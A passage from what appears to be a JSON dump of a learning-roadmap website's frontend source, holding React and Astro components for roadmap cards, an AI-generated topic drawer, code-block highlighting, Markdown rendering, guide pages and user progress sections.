);\n\n    if (!response.ok) {\n      const data = await response.json();\n\n      setError(data?.message || 'Something went wrong');\n      setIsLoading(false);\n\n      // Logout user if token is invalid\n      if (data.status === 401) {\n        removeAuthToken();\n        window.location.reload();\n      }\n    }\n    const reader = response.body?.getReader();\n\n    if (!reader) {\n      setIsLoading(false);\n      setError('Something went wrong');\n      return;\n    }\n\n    setIsLoading(false);\n    setIsStreaming(true);\n    await readAIRoadmapContentStream(reader, {\n      onStream: async (result) => {\n        setTopicHtml(markdownToHtml(result, false));\n      },\n      onStreamEnd(roadmap) {\n        setIsStreaming(false);\n      },\n    });\n    onTopicContentGenerateComplete?.();\n  };\n\n  // Close the topic detail when user clicks outside the topic detail\n  useOutsideClick(topicRef, () => {\n    onClose?.();\n  });\n\n  useKeydown('Escape', () => {\n    onClose?.();\n  });\n\n  useEffect(() => {\n    if (!topicRef?.current) {\n      return;\n    }\n\n    topicRef?.current?.focus();\n    generateAiRoadmapTopicContent().finally(() => {});\n\n    return () => {\n      abortController.abort();\n    };\n  }, []);\n\n  const hasContent = topicHtml?.length > 0;\n\n  return (\n    <div className={'relative z-92'}>\n      <div\n        ref={topicRef}\n        tabIndex={0}\n        className=\"fixed right-0 top-0 z-40 h-screen w-full overflow-y-auto bg-white p-4 focus:outline-0 sm:max-w-[600px] sm:p-6\"\n      >\n        {isLoggedIn() && (\n          <div className=\"flex flex-col items-start gap-2 sm:flex-row\">\n            <span>\n              <span\n                className={cn(\n                  'mr-0.5 inline-block rounded-xl border px-1.5 text-center text-sm tabular-nums text-gray-800',\n                  {\n                    'animate-pulse border-zinc-300 bg-zinc-300 text-zinc-300':\n                      !topicLimit,\n                  },\n                )}\n              >\n                {topicLimitUsed} of {topicLimit}\n              </span>{' '}\n              topics generated\n            </span>\n            <button\n              className=\"rounded-xl border border-current px-1.5 py-0.5 text-left text-sm font-medium text-blue-500 sm:text-center\"\n              onClick={onConfigureOpenAI}\n            >\n              Need more? <span className=\"font-semibold\">Click here.</span>\n            </button>\n          </div>\n        )}\n\n        {isLoggedIn() && isLoading && (\n          <div className=\"mt-6 flex w-full justify-center\">\n            <Spinner\n              outerFill=\"#d1d5db\"\n              className=\"h-6 w-6 sm:h-12 sm:w-12\"\n              innerFill=\"#2563eb\"\n            />\n          </div>\n        )}\n\n        {!isLoggedIn() && (\n          <div className=\"flex h-full flex-col items-center justify-center\">\n            <Contact className=\"mb-3.5 h-14 w-14 text-gray-200\" />\n            <h2 className=\"text-xl font-medium\">You must be logged in</h2>\n            <p className=\"text-base text-gray-400\">\n              Sign up or login to generate topic content.\n            </p>\n            <button\n              className=\"mt-3.5 w-full max-w-[300px] rounded-md bg-black px-3 py-2 text-base font-medium text-white\"\n              onClick={showLoginPopup}\n            >\n              Sign up / Login\n            </button>\n          </div>\n        )}\n\n        {!isLoading && !error && (\n          <>\n            <div className=\"mb-2\">\n              <button\n                type=\"button\"\n                id=\"close-topic\"\n                className=\"absolute right-2.5 top-2.5 inline-flex items-center rounded-lg bg-transparent p-1.5 text-sm text-gray-400 hover:bg-gray-200 hover:text-gray-900\"\n                onClick={onClose}\n              >\n                <X className=\"h-5 w-5\" />\n              </button>\n            </div>\n\n            {hasContent ? (\n              <div className=\"prose prose-quoteless prose-h1:mb-2.5 prose-h1:mt-7 prose-h2:mb-3 prose-h2:mt-0 prose-h3:mb-[5px] prose-h3:mt-[10px] prose-p:mb-2 prose-p:mt-0 prose-blockquote:font-normal prose-blockquote:not-italic prose-blockquote:text-gray-700 prose-li:m-0 prose-li:mb-0.5\">\n                <div\n                  id=\"topic-content\"\n                  dangerouslySetInnerHTML={{ __html: topicHtml }}\n                />\n\n                {!isStreaming && (\n                  <div className=\"mt-4\">\n                    <a\n                      href=\"/ai\"\n                      className=\"mb-1 mt-2 inline-flex items-center rounded-md bg-yellow-400 px-3 py-2 text-sm font-medium text-gray-800 no-underline hover:bg-yellow-500\"\n                    >\n                      Dive deeper using AI Tutor\n                      <ArrowRight className=\"ml-2 h-4 w-4\" />\n                    </a>\n                  </div>\n                )}\n              </div>\n            ) : (\n              <div className=\"flex h-[calc(100%-38px)] flex-col items-center justify-center\">\n                <FileText className=\"h-16 w-16 text-gray-300\" />\n                <p className=\"mt-2 text-lg font-medium text-gray-500\">\n                  Empty Content\n                </p>\n              </div>\n            )}\n          </>\n        )}\n\n        {/* Error */}\n        {!isLoading && error && (\n          <>\n            <button\n              type=\"button\"\n              id=\"close-topic\"\n              className=\"absolute right-2.5 top-2.5 inline-flex items-center rounded-lg bg-transparent p-1.5 text-sm text-gray-400 hover:bg-gray-200 hover:text-gray-900\"\n              onClick={onClose}\n            >\n              <X className=\"h-5 w-5\" />\n            </button>\n            <div className=\"flex h-full flex-col items-center justify-center\">\n              <Ban className=\"h-16 w-16 text-red-500\" />\n              <p className=\"mt-2 text-lg font-medium text-red-500\">{error}</p>\n            </div>\n          </>\n        )}\n      </div>\n      <div className=\"fixed inset-0 z-30 bg-gray-900/50\"></div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GetStarted/RoadmapCard.tsx",
    "content": "import { ExternalLink, Globe2, type LucideIcon } from 'lucide-react';\n\ntype RoadmapCardProps = {\n  title: string;\n  description: string;\n  icon: LucideIcon;\n  icon2?: LucideIcon;\n  link: string;\n  isUpcoming?: boolean;\n};\nexport function RoadmapCard(props: RoadmapCardProps) {\n  const {\n    isUpcoming,\n    link,\n    title,\n    description,\n    icon: Icon,\n    icon2: Icon2,\n  } = props;\n\n  if (isUpcoming) {\n    return (\n      <div className=\"group relative block rounded-xl border border-gray-300 bg-linear-to-br from-gray-100 to-gray-50 p-5 overflow-hidden\">\n        <div className=\"mb-2 sm:mb-5 flex flex-row items-center\">\n          <div className=\"flex h-7 w-7 sm:h-9 sm:w-9 items-center justify-center rounded-full bg-gray-900 text-white\">\n            <Icon className=\"h-3 sm:h-5\" />\n          </div>\n          {Icon2 && (\n              <>\n                <span className=\"mx-2 text-gray-400\">+</span>\n                <div className=\"flex h-7 w-7 sm:h-9 sm:w-9 items-center justify-center rounded-full bg-gray-900 text-white\">\n                  <Icon2 className=\"h-3 sm:h-5\" />\n                </div>\n              </>\n          )}\n        </div>\n        <span className=\"mb-0.5 block text-lg sm:text-xl font-semibold sm:mb-2\">\n          {title}\n        </span>\n        <span className=\"text-sm text-gray-500\">{description}</span>\n\n        <div className=\"absolute inset-0 flex flex-col items-center justify-center bg-gray-100/70\">\n          <span className=\"text-sm bg-black rounded-lg text-white font-semibold py-1 px-2 -rotate-45 transform\">\n            Coming soon\n          </span>\n        </div>\n      </div>\n    );\n  }\n\n  return (\n    <a\n      href={link}\n      target={'_blank'}\n      className=\"group relative block rounded-xl border border-gray-300 bg-linear-to-br from-gray-100 to-gray-50\n       p-3.5 sm:p-5 transition-colors duration-200 ease-in-out hover:cursor-pointer hover:border-black/30 hover:bg-gray-50/70 hover:shadow-xs\"\n    >\n      <div className=\"mb-2 sm:mb-5 flex flex-row items-center\">\n        <div className=\"flex h-7 w-7 sm:h-9 sm:w-9 items-center justify-center rounded-full bg-gray-900 text-white\">\n          <Icon className=\"h-4 sm:h-5\" />\n        </div>\n        {Icon2 && (\n          <>\n            <span className=\"mx-2 text-gray-400\">+</span>\n            <div className=\"flex h-7 w-7 sm:h-9 sm:w-9 items-center justify-center rounded-full bg-gray-900 text-white\">\n              <Icon2 className=\"h-4 sm:h-5\" />\n            </div>\n          </>\n        )}\n      </div>\n      <ExternalLink className=\"lucide lucide-external-link absolute right-2 top-2 h-4 text-gray-300 transition group-hover:text-gray-700\" />\n      <span className=\"mb-0 block text-lg sm:text-xl font-semibold sm:mb-2\">\n        {title}\n      </span>\n      <span className=\"text-sm text-gray-500\">{description}</span>\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/GetStarted/RoadmapMultiCard.tsx",
    "content": "import { ExternalLink } from 'lucide-react';\n\ntype RoadmapMultiCardProps = {\n  roadmaps: {\n    title: string;\n    link: string;\n  }[];\n  description: string;\n  secondaryRoadmaps?: {\n    title: string;\n    link: string;\n  }[];\n  secondaryDescription?: string;\n};\nexport function RoadmapMultiCard(props: RoadmapMultiCardProps) {\n  const { roadmaps, description, secondaryRoadmaps, secondaryDescription } = props;\n  return (\n    <div\n      className=\"relative flex flex-col overflow-hidden rounded-xl border border-gray-300 bg-linear-to-br from-gray-100\n       to-gray-50 ease-in-out\"\n    >\n      <div className=\"flex flex-col divide-y\">\n        {roadmaps.map((roadmap, index) => (\n          <a\n            target={'_blank'}\n            key={index}\n            href={roadmap.link}\n            className=\"group text-sm sm:text-base flex w-full items-center justify-between gap-2 bg-linear-to-br from-gray-100 to-gray-50 px-4 sm:px-5 py-2 transition-colors duration-200\"\n          >\n            {roadmap.title}\n            <ExternalLink className=\"lucide lucide-external-link h-4 text-gray-300 transition group-hover:text-gray-700\" />\n          </a>\n        ))}\n      </div>\n\n      <p className=\"grow bg-gray-200/70 p-4 sm:p-5 text-sm text-gray-500\">\n        {description}\n      </p>\n\n      {secondaryRoadmaps && (\n        <div className=\"flex flex-col divide-y\">\n          {secondaryRoadmaps.map((roadmap, index) => (\n            <a\n              target={'_blank'}\n              key={index}\n              href={roadmap.link}\n              className=\"group text-sm sm:text-base flex w-full items-center justify-between gap-2 bg-linear-to-br from-gray-100 to-gray-50 px-5 py-2 transition-colors duration-200\"\n            >\n              {roadmap.title}\n              <ExternalLink className=\"lucide lucide-external-link h-4 text-gray-300 transition group-hover:text-gray-700\" />\n            </a>\n          ))}\n        </div>\n      )}\n\n      {secondaryDescription && (\n        <p className=\"grow bg-gray-200/70 p-4 sm:p-5 text-sm text-gray-500\">\n          {secondaryDescription}\n        </p>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GetStarted/RoleRoadmaps.tsx",
    "content": "import { type ReactNode } from 'react';\nimport { SectionBadge } from './SectionBadge.tsx';\n\ntype RoleRoadmapsProps = {\n  badge: string;\n  title: string;\n  description: string;\n  children: ReactNode;\n};\n\nexport function RoleRoadmaps(props: RoleRoadmapsProps) {\n  const { badge, title, description, children } = props;\n\n  return (\n    <div className=\"bg-linear-to-b from-gray-100 to-white py-5 sm:py-8 md:py-12\">\n      <div className=\"container\">\n        <div className=\"text-left\">\n          <SectionBadge title={badge} />\n        </div>\n        <div className=\"my-4 sm:my-7 text-left\">\n          <h2 className=\"mb-1 text-balance text-xl sm:text-3xl font-semibold\">{title}</h2>\n          <p className=\"text-sm sm:text-base text-gray-500\">{description}</p>\n\n          <div className=\"mt-4 sm:mt-7 grid sm:grid-cols-2 md:grid-cols-3 gap-3\">{children}</div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GetStarted/SectionBadge.tsx",
    "content": "type SectionBadgeProps = {\n  title: string;\n};\nexport function SectionBadge(props: SectionBadgeProps) {\n  const { title } = props;\n\n  return (\n    <span className=\"rounded-full bg-black px-3 py-1 text-sm text-white\">\n      {title}\n    </span>\n  );\n}\n"
  },
  {
    "path": "src/components/GetStarted/TipItem.tsx",
    "content": "import { useState } from 'react';\n\ntype TipItemProps = {\n  title: string;\n  description: string;\n};\nexport function TipItem(props: TipItemProps) {\n  const { title, description } = props;\n\n  const [isToggled, setIsToggled] = useState(false);\n\n  return (\n    <div className=\"flex flex-col\">\n      {!isToggled && (\n        <div\n          onClick={() => setIsToggled(true)}\n          className=\"cursor-pointer rounded-lg sm:rounded-xl bg-black px-3 py-2 text-sm sm:text-base text-white\"\n        >\n          {title}\n        </div>\n      )}\n      {isToggled && (\n        <p\n          className=\"rounded-lg sm:rounded-xl bg-gray-200 px-3 py-2 text-black text-sm sm:text-base\"\n        >\n          {description}\n        </p>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Global/CodeBlock.tsx",
    "content": "import {\n  transformerNotationDiff,\n  transformerNotationErrorLevel,\n  transformerNotationFocus,\n  transformerNotationHighlight,\n  transformerNotationWordHighlight,\n} from '@shikijs/transformers';\nimport { CheckIcon, CopyIcon } from 'lucide-react';\nimport type { HTMLAttributes } from 'react';\nimport { useLayoutEffect, useState } from 'react';\nimport { type BundledLanguage, codeToHtml } from 'shiki';\nimport { cn } from '../../lib/classname';\nimport { useCopyText } from '../../hooks/use-copy-text';\nexport type { BundledLanguage } from 'shiki';\n\nconst codeBlockClassName = cn(\n  'mt-0 text-sm',\n  '[&_pre]:py-0',\n  '[&_pre]:grid',\n  '[&_code]:py-4',\n  '[&_code]:w-full',\n  '[&_code]:grid',\n  '[&_code]:overflow-x-auto',\n  '[&_code]:no-scrollbar',\n  '[&_code]:bg-transparent',\n  '[&_.line]:px-3',\n  '[&_.line]:w-full',\n  '[&_.line]:relative',\n  '[&_.line]:min-h-5',\n);\n\nfunction highlight(html: string, language?: BundledLanguage) {\n  return codeToHtml(html, {\n    lang: language ?? 'typescript',\n    theme: 'github-light',\n    transformers: [\n      transformerNotationDiff({\n        matchAlgorithm: 'v3',\n      }),\n      transformerNotationHighlight({\n        matchAlgorithm: 'v3',\n      }),\n      transformerNotationWordHighlight({\n        matchAlgorithm: 'v3',\n      }),\n      transformerNotationFocus({\n        matchAlgorithm: 'v3',\n      }),\n      transformerNotationErrorLevel({\n        matchAlgorithm: 'v3',\n      }),\n    ],\n  });\n}\n\ntype CodeBlockFallbackProps = HTMLAttributes<HTMLDivElement>;\n\nconst CodeBlockFallback = ({ children, ...props }: CodeBlockFallbackProps) => (\n  <div {...props}>\n    <pre className=\"w-full bg-white\">\n      <code>\n        {children\n          ?.toString()\n          .split('\\n')\n          .map((line, i) => (\n            <span className=\"line\" key={i}>\n              {line}\n            </span>\n          ))}\n      </code>\n    </pre>\n  </div>\n);\n\nexport type CodeBlockItemProps = HTMLAttributes<HTMLDivElement> & {\n  value: string;\n  lineNumbers?: boolean;\n};\n\nexport const CodeBlockItem = ({\n  children,\n  lineNumbers = true,\n  className,\n  value,\n  ...props\n}: CodeBlockItemProps) => {\n  return (\n    <div className={cn(codeBlockClassName, className)} {...props}>\n      {children}\n    </div>\n  );\n};\n\nexport type CodeBlockContentProps = HTMLAttributes<HTMLDivElement> & {\n  language?: BundledLanguage;\n  syntaxHighlighting?: boolean;\n  children: string;\n};\n\nexport const CodeBlockContent = ({\n  children,\n  language,\n  syntaxHighlighting = true,\n  ...props\n}: CodeBlockContentProps) => {\n  const [html, setHtml] = useState<string | null>(null);\n  useLayoutEffect(() => {\n    if (!syntaxHighlighting) {\n      return;\n    }\n\n    if (typeof children !== 'string') {\n      return;\n    }\n\n    highlight(children, language).then(setHtml).catch(console.error);\n  }, [children, syntaxHighlighting, language]);\n\n  if (!(syntaxHighlighting && html)) {\n    return <CodeBlockFallback>{children}</CodeBlockFallback>;\n  }\n\n  return <div dangerouslySetInnerHTML={{ __html: html }} {...props} />;\n};\n\ntype CodeBlockHeaderProps = HTMLAttributes<HTMLDivElement> & {\n  language: string;\n  code: string;\n};\n\nexport function CodeBlockHeader(props: CodeBlockHeaderProps) {\n  const { language, code, className, ...rest } = props;\n\n  const { copyText, isCopied } = useCopyText();\n\n  return (\n    <div\n      className={cn(\n        'flex items-center justify-between gap-2 border-b border-gray-200 bg-gray-50 px-3 py-2',\n        className,\n      )}\n      {...rest}\n    >\n      <span className=\"text-sm text-gray-600\">{language}</span>\n\n      <div className=\"flex items-center gap-2\">\n        <button\n          onClick={() => copyText(code)}\n          className=\"flex size-6 items-center justify-center gap-2 rounded-md text-gray-400 hover:bg-zinc-200 hover:text-black focus:outline-none\"\n        >\n          {isCopied ? (\n            <CheckIcon className=\"size-3.5\" />\n          ) : (\n            <CopyIcon className=\"size-3.5\" />\n          )}\n        </button>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Global/Markdown.tsx",
    "content": "import 'katex/dist/katex.min.css';\n\nimport { memo } from 'react';\nimport ReactMarkdown, { type Options } from 'react-markdown';\nimport rehypeKatex from 'rehype-katex';\nimport remarkGfm from 'remark-gfm';\nimport remarkMath from 'remark-math';\nimport { cn } from '../../lib/classname';\nimport {\n  CodeBlockContent,\n  CodeBlockHeader,\n  CodeBlockItem,\n  type BundledLanguage,\n} from './CodeBlock';\n\nfunction getLanguage(children: React.ReactNode) {\n  if (\n    typeof children === 'object' &&\n    children !== null &&\n    'type' in children &&\n    children.type === 'code' &&\n    'props' in children &&\n    typeof children.props === 'object' &&\n    children.props !== null &&\n    'className' in children.props &&\n    typeof children.props.className === 'string'\n  ) {\n    return children.props.className.replace('language-', '').trim();\n  }\n\n  return 'javascript';\n}\n\nconst components: Options['components'] = {\n  pre: (props) => {\n    const { children } = props;\n\n    const language = getLanguage(children);\n    const childrenIsCode =\n      typeof children === 'object' &&\n      children !== null &&\n      'type' in children &&\n      children.type === 'code';\n    if (!childrenIsCode) {\n      return <pre>{children}</pre>;\n    }\n\n    // it's fine to do it, because we only have one code block in the markdown\n    // so no worries, it will be fine\n    // we need to remove the last line because it always add a empty line at the end\n    // @see https://github.com/shikijs/shiki/pull/585\n    const code = (children.props as { children: string })?.children?.slice(\n      0,\n      -1\n    );\n\n    return (\n      <div className=\"not-prose my-6 max-w-full overflow-hidden rounded-lg border border-gray-200\">\n        <CodeBlockHeader language={language} code={code} />\n\n        <CodeBlockItem key={language} value={language} lineNumbers={false}>\n          <CodeBlockContent language={language as BundledLanguage}>\n            {code}\n          </CodeBlockContent>\n        </CodeBlockItem>\n      </div>\n    );\n  },\n};\n\ntype MarkdownProps = {\n  children: string;\n  className?: string;\n};\n\nfunction _Markdown(props: MarkdownProps) {\n  const { children, className } = props;\n\n  return (\n    <div\n      className={cn(\n        'overflow-hidden [&>*:first-child]:mt-0 [&>*:last-child]:mb-0',\n        className\n      )}\n    >\n      <ReactMarkdown\n        components={components}\n        rehypePlugins={[rehypeKatex]}\n        remarkPlugins={[remarkGfm, remarkMath]}\n      >\n        {children}\n      </ReactMarkdown>\n    </div>\n  );\n}\n\nexport const Markdown = memo(_Markdown, (prevProps, nextProps) => {\n  return prevProps.children === nextProps.children;\n});\n"
  },
  {
    "path": "src/components/GridItem.astro",
    "content": "---\nexport interface Props {\n  url: string;\n  title: string;\n  description: string;\n  isNew: boolean;\n}\n\nconst { url, title, description, isNew } = Astro.props;\n---\n\n<a\n  href={url}\n  class='relative flex h-full flex-col rounded-md border border-gray-200 bg-white p-2.5 hover:border-gray-400 sm:rounded-lg sm:p-5'\n>\n  <span\n    class='text-md mb-0 font-semibold text-gray-900 hover:text-black sm:mb-1.5 sm:text-xl'\n  >\n    {title}\n  </span>\n  <span\n    class='hidden text-sm leading-normal text-gray-400 sm:block'\n    set:html={description}\n  />\n\n  {\n    isNew && (\n      <span class='absolute right-1 bottom-1.5 flex items-center gap-1.5 rounded-xs text-xs font-semibold text-purple-500 uppercase sm:px-1.5'>\n        <span class='relative flex h-2 w-2'>\n          <span class='absolute inline-flex h-full w-full animate-ping rounded-full bg-purple-400 opacity-75' />\n          <span class='relative inline-flex h-2 w-2 rounded-full bg-purple-500' />\n        </span>\n        New\n      </span>\n    )\n  }\n</a>\n"
  },
  {
    "path": "src/components/Guide/GuideContent.tsx",
    "content": "import { cn } from '../../lib/classname';\nimport { guideRenderer } from '../../lib/guide-renderer';\nimport type { OfficialGuideResponse } from '../../queries/official-guide';\nimport { TableOfContent } from '../TableOfContent/TableOfContent';\nimport { RelatedGuides } from './RelatedGuides';\n\ntype GuideContentProps = {\n  guide: OfficialGuideResponse;\n};\n\nexport function GuideContent(props: GuideContentProps) {\n  const { guide } = props;\n  const content = guideRenderer.render(guide.content);\n  const tableOfContents = guideRenderer.tableOfContents(guide.content);\n  const showTableOfContent = tableOfContents.length > 0;\n  const hasRelatedGuides =\n    guide.relatedGuides && guide.relatedGuides.length > 0;\n\n  return (\n    <article className=\"lg:grid lg:max-w-full lg:grid-cols-[1fr_minmax(0,700px)_1fr]\">\n      {(showTableOfContent || hasRelatedGuides) && (\n        <div className=\"sticky top-[36px] bg-linear-to-r from-gray-50 py-0 lg:relative lg:col-start-3 lg:col-end-4 lg:row-start-1\">\n          {hasRelatedGuides && (\n            <RelatedGuides relatedGuides={guide?.relatedGuides || []} />\n          )}\n\n          {showTableOfContent && <TableOfContent toc={tableOfContents} />}\n        </div>\n      )}\n\n      <div\n        className={cn(\n          'col-start-2 col-end-3 row-start-1 mx-auto max-w-[700px] py-5 sm:py-10',\n          showTableOfContent && 'lg:border-r',\n        )}\n      >\n        <div className=\"prose prose-xl prose-h2:mb-3 prose-h2:mt-10 prose-h2:scroll-mt-5 prose-h2:text-balance prose-h2:text-3xl prose-h3:mt-2 prose-h4:text-2xl prose-h3:scroll-mt-5 prose-h3:text-balance prose-h4:text-balance prose-h5:text-balance prose-h5:font-medium prose-blockquote:font-normal prose-code:bg-transparent prose-img:mt-1 sm:prose-h2:scroll-mt-10 sm:prose-h3:scroll-mt-10 prose-li:[&>p]:m-0 container\">\n          <h1 className=\"mb-3 text-4xl font-bold text-balance\">\n            {guide.title}\n          </h1>\n          <p className=\"my-0 mb-6 flex items-center justify-start text-sm text-gray-400\">\n            <a\n              href={`/authors/${guide.author?.slug}`}\n              className=\"inline-flex items-center font-medium underline-offset-2 hover:text-gray-600 hover:underline\"\n            >\n              <img\n                alt={guide.author?.name}\n                src={guide.author?.avatar}\n                className=\"mr-2 mb-0 inline h-5 w-5 rounded-full\"\n              />\n              {guide.author?.name}\n            </a>\n          </p>\n\n          {content}\n        </div>\n      </div>\n    </article>\n  );\n}\n"
  },
  {
    "path": "src/components/Guide/RelatedGuides.tsx",
    "content": "import { ChevronDown } from 'lucide-react';\nimport { useState } from 'react';\nimport type { OfficialGuideDocument } from '../../queries/official-guide';\nimport { cn } from '../../lib/classname';\n\ntype RelatedGuidesProps = {\n  relatedTitle?: string;\n  relatedGuides: Pick<OfficialGuideDocument, 'title' | 'slug' | 'roadmapId'>[];\n};\n\nexport function RelatedGuides(props: RelatedGuidesProps) {\n  const { relatedTitle = 'Other Guides', relatedGuides } = props;\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  if (relatedGuides.length === 0) {\n    return null;\n  }\n\n  return (\n    <div className={cn('relative min-w-[250px] pt-0 lg:px-5 lg:pt-10')}>\n      <h4 className=\"text-lg font-medium max-lg:hidden\">{relatedTitle}</h4>\n      <button\n        className=\"flex w-full items-center justify-between gap-2 border-b bg-gray-300 px-3 py-2 text-sm font-medium lg:hidden\"\n        onClick={() => setIsOpen(!isOpen)}\n      >\n        {relatedTitle}\n        <ChevronDown\n          size={16}\n          className={cn(\n            'transform transition-transform',\n            isOpen && 'rotate-180',\n          )}\n        />\n      </button>\n\n      <ol\n        className={cn(\n          'mt-0.5 space-y-0 max-lg:absolute max-lg:top-full max-lg:z-10 max-lg:mt-0 max-lg:w-full max-lg:bg-white max-lg:shadow-sm',\n          !isOpen && 'hidden lg:block',\n          isOpen && 'block',\n        )}\n      >\n        {relatedGuides.map((relatedGuide) => {\n          const { roadmapId, slug, title } = relatedGuide;\n          const href = roadmapId ? `/${roadmapId}/${slug}` : `/guides/${slug}`;\n\n          const className = cn(\n            'text-sm text-gray-500 no-underline hover:text-black max-lg:block max-lg:border-b max-lg:px-3 max-lg:py-1',\n          );\n\n          return (\n            <li key={slug}>\n              <a\n                href={href}\n                className={className}\n                onClick={() => {\n                  if (!isOpen) {\n                    return;\n                  }\n\n                  setIsOpen(false);\n                }}\n              >\n                {title}\n              </a>\n            </li>\n          );\n        })}\n      </ol>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/HeroSection/EmptyProgress.tsx",
    "content": "import { CheckIcon } from '../ReactIcons/CheckIcon';\nimport { FeatureAnnouncement } from '../FeatureAnnouncement.tsx';\n\ntype EmptyProgressProps = {\n  title?: string;\n  message?: string;\n};\n\nexport function EmptyProgress(props: EmptyProgressProps) {\n  const {\n    title = 'Start learning ..',\n    message = 'Your progress and favorite roadmaps will show up here.',\n  } = props;\n\n  return (\n    <div className=\"relative flex min-h-full flex-col items-start justify-center py-6 sm:items-center\">\n      <h2\n        className={'mb-1.5 flex items-center text-lg text-gray-200 sm:text-2xl'}\n      >\n        <CheckIcon additionalClasses=\"mr-2 top-[0.5px] w-[16px] h-[16px] sm:w-[20px] sm:h-[20px]\" />\n        {title}\n      </h2>\n      <p className={'text-sm text-gray-400 sm:text-base'}>{message}</p>\n\n      <p className=\"mt-5\">\n        <FeatureAnnouncement />\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/HeroSection/FavoriteRoadmaps.tsx",
    "content": "import {\n  FolderKanban,\n  MapIcon,\n  Plus,\n  Eye,\n  EyeOff,\n  SquareCheckBig,\n} from 'lucide-react';\nimport { useState } from 'react';\nimport type { ProjectStatusDocument } from '../Projects/ListProjectSolutions.tsx';\nimport { CheckIcon } from '../ReactIcons/CheckIcon.tsx';\nimport type { UserProgress } from '../TeamProgress/TeamProgressPage.tsx';\nimport { HeroProject } from './HeroProject';\nimport { HeroRoadmap } from './HeroRoadmap';\nimport { CreateRoadmapButton } from '../CustomRoadmap/CreateRoadmap/CreateRoadmapButton.tsx';\nimport { HeroItemsGroup } from './HeroItemsGroup';\nimport { CreateRoadmapModal } from '../CustomRoadmap/CreateRoadmap/CreateRoadmapModal.tsx';\n\nexport type AIRoadmapType = {\n  id: string;\n  title: string;\n  slug: string;\n};\n\ntype FavoriteRoadmapsProps = {\n  progress: UserProgress[];\n  projects: (ProjectStatusDocument & {\n    title: string;\n  })[];\n  customRoadmaps: UserProgress[];\n  isLoading: boolean;\n};\n\nexport function FavoriteRoadmaps(props: FavoriteRoadmapsProps) {\n  const { progress, isLoading, customRoadmaps, projects } = props;\n  const [showCompleted, setShowCompleted] = useState(false);\n  const [isCreatingCustomRoadmap, setIsCreatingCustomRoadmap] = useState(false);\n\n  const completedProjects = projects.filter(\n    (project) => project.submittedAt && project.repositoryUrl,\n  );\n  const inProgressProjects = projects.filter(\n    (project) => !project.submittedAt || !project.repositoryUrl,\n  );\n\n  const projectsToShow = [\n    ...inProgressProjects,\n    ...(showCompleted ? completedProjects : []),\n  ];\n\n  return (\n    <div className=\"flex flex-col\">\n      {isCreatingCustomRoadmap && (\n        <CreateRoadmapModal\n          onClose={() => {\n            setIsCreatingCustomRoadmap(false);\n          }}\n        />\n      )}\n\n      <HeroItemsGroup\n        icon={<CheckIcon additionalClasses=\"mr-1.5 h-[14px] w-[14px]\" />}\n        isLoading={isLoading}\n        title=\"Your progress and bookmarks\"\n        isEmpty={!isLoading && progress.length === 0}\n        emptyTitle={\n          <>\n            No bookmarks found\n            <a\n              href=\"#role-based-roadmaps\"\n              className=\"ml-1.5 inline-flex items-center gap-1 font-medium text-blue-500 underline-offset-2 hover:underline\"\n            >\n              <SquareCheckBig className=\"size-3.5\" strokeWidth={2.5} />\n              Bookmark a roadmap\n            </a>\n          </>\n        }\n      >\n        {progress.map((resource) => (\n          <HeroRoadmap\n            key={`${resource.resourceType}-${resource.resourceId}`}\n            resourceId={resource.resourceId}\n            resourceType={resource.resourceType}\n            resourceTitle={resource.resourceTitle}\n            isFavorite={resource.isFavorite}\n            percentageDone={\n              ((resource.skipped + resource.done) / resource.total) * 100\n            }\n            url={\n              resource.resourceType === 'roadmap'\n                ? `/${resource.resourceId}`\n                : `/best-practices/${resource.resourceId}`\n            }\n          />\n        ))}\n      </HeroItemsGroup>\n\n      <HeroItemsGroup\n        icon={<MapIcon className=\"mr-1.5 h-[14px] w-[14px]\" />}\n        isLoading={isLoading}\n        title=\"Your custom roadmaps\"\n        isEmpty={!isLoading && customRoadmaps.length === 0}\n        emptyTitle={\n          <>\n            No custom roadmaps found\n            <button\n              onClick={() => {\n                setIsCreatingCustomRoadmap(true);\n              }}\n              className=\"ml-1.5 inline-flex items-center gap-1 font-medium text-blue-500 underline-offset-2 hover:underline\"\n            >\n              <SquareCheckBig className=\"size-3.5\" strokeWidth={2.5} />\n              Create custom roadmap\n            </button>\n          </>\n        }\n      >\n        {customRoadmaps.map((customRoadmap) => (\n          <HeroRoadmap\n            key={customRoadmap.resourceId}\n            resourceId={customRoadmap.resourceId}\n            resourceType={'roadmap'}\n            resourceTitle={customRoadmap.resourceTitle}\n            percentageDone={\n              ((customRoadmap.skipped + customRoadmap.done) /\n                customRoadmap.total) *\n              100\n            }\n            url={`/r/${customRoadmap?.roadmapSlug}`}\n            allowFavorite={false}\n          />\n        ))}\n        <CreateRoadmapButton existingRoadmapCount={customRoadmaps.length} />\n      </HeroItemsGroup>\n\n      <HeroItemsGroup\n        icon={<FolderKanban className=\"mr-1.5 h-[14px] w-[14px]\" />}\n        isLoading={isLoading}\n        title=\"Your active projects\"\n        isEmpty={!isLoading && projectsToShow.length === 0}\n        emptyTitle={\n          <>\n            No active projects found\n            <a\n              href=\"/projects\"\n              className=\"ml-1.5 inline-flex items-center gap-1 font-medium text-blue-500 underline-offset-2 hover:underline\"\n            >\n              <SquareCheckBig className=\"size-3.5\" strokeWidth={2.5} />\n              Start a new project\n            </a>\n          </>\n        }\n        rightContent={\n          completedProjects.length > 0 && (\n            <button\n              onClick={() => setShowCompleted(!showCompleted)}\n              className=\"hidden items-center gap-2 rounded-md text-xs text-slate-400 hover:text-slate-300 sm:flex\"\n            >\n              {showCompleted ? (\n                <EyeOff className=\"h-3.5 w-3.5\" />\n              ) : (\n                <Eye className=\"h-3.5 w-3.5\" />\n              )}\n              {completedProjects.length} Completed\n            </button>\n          )\n        }\n        className=\"border-b-0\"\n      >\n        {projectsToShow.map((project) => (\n          <HeroProject key={project._id} project={project} />\n        ))}\n\n        <a\n          href=\"/projects\"\n          className=\"flex min-h-[80px] items-center justify-center gap-2 rounded-md border border-dashed border-slate-800 p-4 text-sm text-slate-400 hover:border-slate-600 hover:bg-slate-900/50 hover:text-slate-300\"\n   